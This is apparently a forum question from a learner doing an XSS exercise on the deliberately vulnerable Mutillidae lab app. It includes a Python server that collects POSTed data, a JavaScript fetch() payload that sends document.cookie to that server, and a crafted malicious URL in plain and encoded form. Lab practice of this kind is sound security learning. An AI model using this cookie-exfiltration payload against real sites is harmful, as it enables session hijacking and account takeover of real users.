I’m doing some exercises on a known vulnerable application called Mutillidae, running on localhost:8888.
Given a form vulnerable to SQLi and XSS, the goal is to send to the web server of the attacker the session cookies of the user logged.
Steps:
- Create a local http web server using Python and
http.server - Write a malicious script in Javascript which allows to send cookies using a POST request to the web server of the attacker.
- Inject the script into the vulnerable form and generate a malicious URL
- Login to the application with a user
- Navigate to the generated malicious URL and check if the web server received cookies.
Python web server running on localhost:8080:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("Dati POST ricevuti:", post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Server in esecuzione su localhost:{port}...")
httpd.serve_forever()
if __name__ == '__main__':
run()
Javascript POST request
fetch('http://localhost:8080', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'cookie=' + document.cookie
});
I injected the Javascript code using <script></script> tag into the form ‘username’ input
The malicious URL generated is:
http://localhost:8888/index.php?page=user-info.php&username=<script>fetch('http://localhost:8080', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'cookie=' + document.cookie});</script>
The URLencoded version:
http://localhost:8888/index.php?page=user-info.php&username=%3Cscript%3Efetch%28%27http%3A%2F%2Flocalhost%3A8080%27%2C+%7B+++++method%3A+%27POST%27%2C+++++headers%3A+%7B%27Content-Type%27%3A+%27application%2Fx-www-form-urlencoded%27%7D%2C+++++body%3A+%27cookie%3D%27+%2B+document.cookie+%7D%29%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details
I logged in with a user, I entered the malicious URL into the search bar.
Unfortunately the web server receives nothing.
What can I do? Thanks.
